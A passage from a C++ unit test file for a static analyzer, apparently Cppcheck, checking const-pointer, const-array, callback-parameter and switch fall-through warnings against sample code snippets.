'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 